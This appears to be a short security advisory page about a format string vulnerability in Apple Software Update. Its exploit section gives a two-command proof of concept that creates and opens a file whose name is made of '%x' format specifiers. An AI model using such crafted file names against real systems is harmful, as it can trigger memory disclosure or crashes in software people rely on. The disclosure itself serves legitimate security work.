• info
• discussion
• exploit
• solution
• references

Apple Software Update Format String Vulnerability

A proof-of-concept file can be created with the touch command:

$ touch %x.%x.%x.%x.%x.%x.%x.swutmp
$ open %x.%x.%x.%x.%x.%x.%x.swutmp